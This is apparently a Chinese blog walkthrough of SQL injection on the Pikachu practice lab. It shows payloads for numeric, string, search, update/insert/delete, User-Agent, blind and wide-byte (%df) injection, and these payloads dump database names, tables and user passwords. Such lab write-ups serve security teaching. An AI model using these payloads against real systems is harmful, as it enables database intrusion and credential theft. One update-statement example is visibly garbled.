SQL注入攻击实例-pikachu靶场

pikachu

数字型(post)

判断注入类型

payload:1 or 1=1

判断长度

1 order by 1

爆库名

1 and 1=2 union select 1,database() 

爆表名

1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()

爆列名

1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

爆数据

1 and 1=2 union select 1,password from users

字符型(get)

判断注入类型

payload:1'or 1=1#

判断长度

1' order by 1#

判断字符位置

1' and 1=2 union select 1,2#

爆数据库名

1' and 1=2 union select 1,database()#

爆表名

1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆列名

1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

爆数据

1' and 1=2 union select username,password from users#

在URL中出现两个名为"submit"的参数可能是因为网页采用了GET请求方法,并且表单中的输入框和提交按钮都被包含在URL中。在这种情况下,每个表单字段都会作为URL参数出现,因此可能会出现多个相同名称的参数。
例如,如果您在搜索框中输入了关键字并点击提交按钮,这些输入数据可能会作为URL参数的一部分出现在URL中。

所以注入的时候要看清楚,采取的是什么形式,进行注入前最好先尝试一下

搜索型

select *from users where like %$name%
paylaod:k%' or 1=1 #
		k%' or 1=2 #

判断注入类型

k%' and 1=1# 

在这里插入图片描述

在这里插入图片描述

判断长度

k%' order by 3#

判断字符位置

k%' and 1=2 union select 1,2,3# 

爆数据库名

k%' and 1=2 union select 1,2,database()#     

爆表名

k%' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 

爆列名

k%' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

爆数据

k%' and 1=2 union select 1,username,password from users# 

xx 型

闭合方式有很多,不仅仅只有常见的字符型和数字型两种可能,所以需要我们日常在学习和实践过程中不断充实自己,不断积累常见实现闭合方式的方法:

1' 、 " 、)  、 ')、 ") 等等

判断注入类型

1') or 1=1#

在这里插入图片描述

在这里插入图片描述

判断长度

1') order by 2#

判断字符位置

1') or 1=2 union select 1,2#

爆数据库名

1') or 1=2 union select 1,database()#

爆表名

1') or 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆列名

1') or 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

爆数据

1') or 1=2 union select username,password from users#

常见报错注入函数解释

updatexml()

updatexml() 是 MySQL 数据库中的一个函数,用于在 XML 数据中更新指定路径的值。它的语法大致如下:
updatexml(xml_target, xpath_expr, new_value)
xml_target 是 XML 字符串或 XML 类型的数据库列。
xpath_expr 是 XPath 表达式,用于定位要更新的 XML 元素。
new_value 是要插入到 XML 元素中的新值。
该函数主要用于 XML 数据的处理,通过指定路径来更新 XML 中的特定元素的值。在报错注入过程中经常使用该函数进行注入攻击,通过更新 XML 数据中的值来执行恶意操作。
XML(eXtensible Markup Language)是一种用于描述数据的标记语言。它是一种文本格式,设计用来传输和存储数据,具有自我描述性的特点。XML 不仅可用于存储数据,还可用于在应用程序之间交换数据。
XML 使用标签(tag)来标记数据元素,这些标签可以自定义。每个标签都包含在尖括号内,例如 。XML 数据以层次结构组织,具有起始标签和结束标签,可以包含属性和数据。
在 SQL 注入语句中,updatexml 函数被用于更新 XML 数据,其中 XML 数据的结构是通过 concat 函数构建的。这样的攻击尝试旨在通过修改数据库中存储的 XML 数据来实现攻击者的目标。这也是为什么在注入语句中会涉及到构建 XML 结构的部分

insert/update型

update

常规语句
update 表名 set sex='$性别',phone='$电话',address='$地址',email='$邮箱' where username='$用户名'
payload:女' and updatexml (1,concat(0x7e,database(),0x7e),0)#

update 表名 set sex=‘女’ and updatexml (1,concat(0x7e,database(),0x7e),0)#,phone=‘ 电 话 ′ , a d d r e s s = ′ 电话',address=' ,address=地址’,email=‘ 邮 箱 ′ w h e r e u s e r n a m e = ′ 邮箱' where username=' whereusername=用户名’

爆数据库
' or updatexml(1,concat(0x7e,database(),0x7e),1)#   
' or updatexml(1,concat(0x7e,database()),0)#
' or extractvalue(1,concat(0x7e,database(),0x7e))#
' or extractvalue(1,concat(0x7e,(database()))) and '1'='1

有时候输入框会屏蔽注释符,就需要想其他方法进行闭合实现注入,能实现闭合就行

爆表名
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)#
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#
' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#
爆列名
' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)))#
爆数据
爆密码
' or updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
爆账号
' or updatexml(1,concat(0x7e,(select username from users where username='admin' limit 0,1)),0)#

其实按道理来说没必要分别爆破,但这个题现在每次只能爆破一次数据,所以我们需要去做出限制

insert

常规语句
insert into 表名 values('$用户','$密码','$性别','$手机','$地址','$住址')
payload:
a','b','c')#
爆数据库

在这里插入图片描述
其实这两种的注入方法可以说一模一样,不同的在于一个是在修改的时候注入一个是在注册的时候注入

delete型

常规语句:
delete from 表名 where id=xx
payload:
or updatexml(1,concat(0x7e,database(),0x7e),0)

用bp抓包的时候,不会对url进行编码,但在实际过程中对于url发送的内容会进行url编码,传到后端以后会进行url解码然后投入使用,如果在修改好url以后不对其进行url编码,后端会不识别你传过去的url

第一步:

在这里插入图片描述

第二步:

在这里插入图片描述
原理同update和insert,也输入爆破注入的一种,但这种需要对存在的留言进行删除,在删除的过程中进行抓包

header型

UA注入

攻击方法和insert一样
payload:'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

注意

从登录开始,每一个包都需要替换 UA(我尝试发到Repeater模块,结果错误,回到Proxy模块进行放包修改,放了两次包,爆出了数据)

第一步:

在这里插入图片描述

第二步:

在这里插入图片描述

盲注

盲注和普通注入很像,不同的是如果是布尔注入会有回显,但只回答对错,不爆出来敏感信息,时间注入则什么也不爆出来,但可以通过函数来构建时间延迟来判断是否存在时间注入

具体流程可以参考DVWA靶场中的盲注过程

bool

测试:
admin' and '1'='1
admin' and '1'='2
payload:lucy' and length(database())=7--

time

测试:
kobe' and sleep(5)#
payload:
lucy'and if(length(database())=7,sleep(5),1)#

宽字节

分类

当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节

存在注入的原因

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入,如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用一些函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义 ,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。但添加的字符的Ascii要大于128,两个字符才能组合成汉字 ,因为前一个ascii码要大于128,才到汉字的范围 ,这一点需要注意。
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

具体流程

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句,后面就可以通过or 来执行语句了。
使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生

判断注入点位置

1%df' union select 1,2#

爆数据库名

1%df' union select 1,database()#

爆表名

1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆列名

注意!!!这里如果和之前一样按照流程爆列名会出现错误

错误语句:
1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

原因:因为在后面用了',addslashes()对'进行了转义,所以造成错误,可以用嵌套查询解决

1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database()limit 3,1)#

1%df’ union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database()limit 3,1)#
黄色部分其实和之前一样,把原来爆出来的table_name不用原名来代替,而是用一个select语句(红色部分)进行查询,实现嵌套

post默认不做url解码
payload: kobe%df' or 1=1#  
(kobe%df\' or 1=1#)->(kobe%df%5c%27 or 1=1#)->(kobe運'or 1=1#)

查询数据

1%df' union select password,username from users#
  • 12
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值